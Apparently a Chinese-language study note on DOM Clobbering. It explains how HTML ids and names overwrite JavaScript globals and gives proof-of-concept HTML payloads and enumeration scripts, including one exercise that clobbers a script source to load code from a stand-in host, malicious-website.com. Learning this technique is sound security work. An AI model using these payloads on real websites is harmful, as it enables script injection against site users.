DOM Clobbering Attack学习记录.md

很早就提出的攻击技巧了，都差不多忘记了，再拿出来复习复习。

0x1 DOM Clobbering入门

之前在文章《前端中存在的变量劫持漏洞》中对id已经有了一些认识，我们知道有如下知识：

1	<input id=username>

想在javascript中通过获取到此dom节点，出来使用document.getElementById('username')和document.querySelector('#username')之外还可以直接使用window.username来获取。

这个特性就被称为DOM Cloberring,可以造成很多有意思的漏洞，比如当程序依赖某些全局变量是否存在做某些分支跳转的时候：if(window.isAdmin){ ... }.

为了分析DOM Clobbering漏洞，假设我们有如下的代码：

1
2
3

if (window.test1.test2) {
    eval(''+window.test1.test2)
}

想利用Dom Clobbering技巧来执行任意的js，首先需要解决两个问题。

利用id，很容易在window对象上创建任意属性，但是我们能在新对象上创建新的属性吗？类似于(test1.test2)
怎么控制 DOM elements被强制类型转换为string之后的值，大多数的dom节点被转换为stirng之后，都会返回[object HTMLInputElement]

为了解决第一个问题，我们很容易就想到<form>标签，因为每一个<input>标签的都会添加为它之上的<form>标签的属性，属性的名字就是<input>标签中声明的name属性，下面举一个例子：

<form id=test1>
  <input name=test2>
</form>
<script>
  alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>

为了解决第二个问题，我们用一段小代码HTML可能存在的所有标签，然后check对应的dom节点对象有没有实现toString方法，或者直接继承于Object.prototype。如果是继承自Object.prototype,那么很有可能只会返回[object SomeElement]。

Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

执行完成后会返回两个属性,HTMLAreaElement (<area>) and HTMLAnchorElement (<a>),下面只说一下<a>标签吧（<area>标签类似）。<a>标签的toString会直接返回它的href属性。

<a id=test1 href=https://securitum.com>
<script>
  alert(test1); // alerts "https://securitum.com"
</script>

此时把上面的两个问题放到一块解决，可能会想出这样的方式：

1
2
3

<form id=test1>
  <a name=test2 href="x:alert(1)"></a>
</form>

但是并不行，test1.test2是undefined,因为<input>元素会变成<form>的属性，但是<a>标签并不会。

解决这个问题有个很有意思的方法，就是定义两个元素拥有一样的id：

1 2	<a id=test1>click!</a> <a id=test1>click2!</a>

我预期的是window.test会返回第一个<a>标签(因为document.getElementById('#test1')就会返回第一个)，但是确实一个HTMLCollection

>window.test1
<HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
length: 2
0: a#test1
1: a#test1
test1: a#test1
__proto__: HTMLCollection

这里就有一个很有意思的点，HTMLCollection可以使用index进行访问，同时可以使用id访问，也就是window.test1.test1获取到的就是第一个元素。事实证明name属性也会直接注册为HTMLCollection的属性。

1 2	<a id=test1>click!</a> <a id=test1 name=test2>click2!</a>

> window.test1
< HTMLCollection(2) [a#test1, a#test1, test1: a#test1, test2: a#test1]length: 20: a#test11: a#test1test1: a#test1test2: a#test1__proto__: HTMLCollection
> window.test1.test2
<a id="test1" name="test2">click2!</a>

所以我们就可以利用下面的方法轻松解决之前的eval(''+window.test1.test2)的问题了。

1	<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

0x2 一个简单的练习

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

为了利用这个漏洞，只需要向html中添加如下内容就可以了。

1	<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

0x3 进阶

找出所有id具有父子依赖关系的节点。实现代码很简单，如下所示：

        var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
  for(var j=0;j<html.length;j++) {
    div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
    document.body.appendChild(div);
    if(window.element1 && element1.element2){
       log.push(html[i]+','+html[j]);
    }
    document.body.removeChild(div);
  }
}
console.log(log.join('\n'));

最后的输出是:

form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea

所以向要生成x.y.value可以使用如下的方式：

<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>

使用form标签可以来伪造三层的对象引用

<form id=x name=y><input id=z></form>
<form id=x></form>
<script>
alert(x.y.z)
</script>

当form标签有两个一样的id的input标签的的时候，chrome会把input标签处理成为[object RadioNodeList],这个对象有类似于数组的方法如forEach：

<form id=x>
<input id=y name=z>
<input id=y>
</form>
<script>
x.y.forEach(element=>alert(element))
</script>

因为只有html规范中定义的属性才能注册为dom节点的属性，下面的例子就可以说明。

<form id=x y=123></form>
<script>
alert(x.y)//undefined ， y不是html规范定义的form的属性。
</script>

所以我们可以利用如下的代码来看一下我们都有哪些可以用的属性：

var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"];//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
  obj = document.createElement(html[i]);
   for(prop in obj) {
    if(typeof obj[prop] === 'string') {
      try {
        props.push(html[i]+':'+prop);
      }catch(e){}
    }
   }
}
console.log([...new Set(props)].join('\n'));

前面的代码展示了是string类型的属性，但是他们并不一定都是可以操作的，为了检查他们是否是可读可写的，需要用下面代码：

    var props=[];
    DOM =document.getElementById("content");

    for(i=0;i<html.length;i++){
        obj = document.createElement(html[i]);
        for(prop in obj) {
            if(typeof obj[prop] === 'string') {
                
            try {
                DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
                    if(document.getElementById('x')[prop] == 1) {
                        props.push(html[i]+':'+prop);
                }
                }catch(e){
                                            
                }
            }
        }
    }
console.log([...new Set(props)].join('\n'));

在这些DOM属性中有两个有意思的属性分别是”username”和”password”,他们是<a>标签的DOM节点的属性，但是并不是html中定义的属性，好像并不能通过html属性控制。

这两个属性可以通过url的中的username字段和password字段提供。但是需要注意一定需要有@符号

<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>

用http协议也可以，但是需要添加 //

<a id=x href="http://Clobbered-username:Clobbered-Password@a">
    <script>
    alert(x.username)//Clobbered-username
    alert(x.password)//Clobbered-password
    </script>

需要注意一点，如果依赖于<a>标签的toString函数将dom对象转换为字符串，获取的字符串总是经过url编码的，例如下面这样：

<a id=x href="http:<>">
    <script>
    alert(x) //http://myip:8888/%3C%3E
    </script>

此时可以利用一些根本不存在的协议来绕过：

<a id=x href="abc:<>">
    <script>
    alert(x)//abc:<>
    </script>

Firefox浏览器允许在base标签中定义协议，然后在a标签中使用，能够获取到未经过urlencode的数据

<base href=a:abc><a id=x href="Firefox<>">
    <script>
    alert(x)//Firefox<>
    </script>

chrome浏览器也可以实现类似的效果，但是获取的值在base标签的href属性中。

<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
<script>
alert(x.xyz)//a://Clobbered<>
</script>

0x4 获取三级以上的对象引用

使用iframe的srcdoc属性可以创建任意层数的对象引用。

1
2
3

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

当时上面有一个问题，就是必须使用setTimeout设置一个延迟以保证iframe加载完毕。这里好的办法是利用style/link标签导入一个外部的样式表来创造一个小的延迟：

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
<script>
alert(a.b.c.d)
</script>

参考链接

https://research.securitum.com/xss-in-amp4email-dom-clobbering/

https://portswigger.net/research/dom-clobbering-strikes-back